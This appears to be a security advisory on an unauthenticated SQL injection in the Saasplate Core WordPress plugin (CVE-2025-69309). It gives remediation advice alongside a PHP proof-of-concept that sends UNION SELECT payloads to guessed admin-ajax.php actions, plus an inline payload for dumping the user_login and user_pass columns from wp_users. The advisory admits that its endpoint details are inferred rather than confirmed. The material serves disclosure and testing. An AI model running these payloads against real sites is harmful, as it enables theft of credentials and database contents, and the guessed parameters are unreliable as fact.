Atomic Edge analysis of CVE-2025-69309 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Saasplate Core WordPress plugin version 1.2.8 and earlier. The flaw exists in a public-facing endpoint that processes user-supplied parameters without proper sanitization. Attackers can exploit this to execute arbitrary SQL commands, leading to sensitive data disclosure from the WordPress database. The CVSS 7.5 score reflects high confidentiality impact with no authentication requirement.
Atomic Edge research infers the root cause from the CWE-89 classification and vulnerability description. The plugin fails to properly escape user-supplied parameters before including them in SQL queries. It also lacks prepared statements. These conditions allow attackers to inject malicious SQL payloads. This conclusion is inferred from the CWE and description, not confirmed via source code review.
Exploitation likely targets a WordPress AJAX handler or REST API endpoint registered by the Saasplate Core plugin. Attackers send HTTP requests to `/wp-admin/admin-ajax.php` with the `action` parameter containing a plugin-specific hook (e.g., `saasplate_core_action`). They append SQL injection payloads to another parameter, possibly named `id`, `user_id`, or `slug`. A typical payload would be `1′ UNION SELECT user_login,user_pass FROM wp_users– -` to extract administrator credentials.
Remediation requires implementing proper input validation and output escaping. The plugin should use WordPress’s `$wpdb->prepare()` method with parameterized queries. Developers must also validate user-supplied data against expected types (e.g., integers, predefined strings). Adding capability checks would prevent unauthenticated access to sensitive database operations.
Successful exploitation allows complete database compromise. Attackers can extract all data from the WordPress database, including user credentials (hashed passwords), personal information, plugin settings, and other sensitive content. This data exposure could lead to site takeover, privilege escalation, or lateral movement within the hosting environment.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69309 - Saasplate Core <= 1.2.8 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-69309
* This script demonstrates unauthenticated SQL injection in Saasplate Core plugin <= 1.2.8
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerability exists in an AJAX handler accessible via admin-ajax.php
* 2. The plugin uses a parameter like 'id' or 'user_id' in SQL queries without sanitization
* 3. The AJAX action name contains the plugin slug 'saasplate_core'
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX action patterns for this plugin
$possible_actions = [
'saasplate_core_action',
'saasplate_core_get_data',
'saasplate_core_ajax',
'saasplate_core_process'
];
// SQL injection payload to extract database version
$payload = "1' UNION SELECT @@version,2,3-- -";
foreach ($possible_actions as $action) {
echo "n[+] Testing AJAX action: {$action}n";
$ch = curl_init();
// Construct POST request to WordPress AJAX handler
$post_data = [
'action' => $action,
'id' => $payload, // Common vulnerable parameter
'user_id' => $payload, // Alternative parameter
'nonce' => 'bypassed' // Nonce may not be required for this endpoint
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => [
'User-Agent: Atomic Edge Research PoC',
'X-Requested-With: XMLHttpRequest'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: {$http_code}n";
// Check for SQL error messages or database version in response
if (strpos($response, 'MySQL') !== false ||
strpos($response, 'MariaDB') !== false ||
strpos($response, 'version') !== false ||
strpos($response, 'SQL syntax') !== false) {
echo "[!] Potential SQL injection successful!n";
echo "Response snippet: " . substr($response, 0, 500) . "n";
break;
}
curl_close($ch);
usleep(500000); // Delay between requests
}
echo "n[+] PoC execution complete.n";
?>
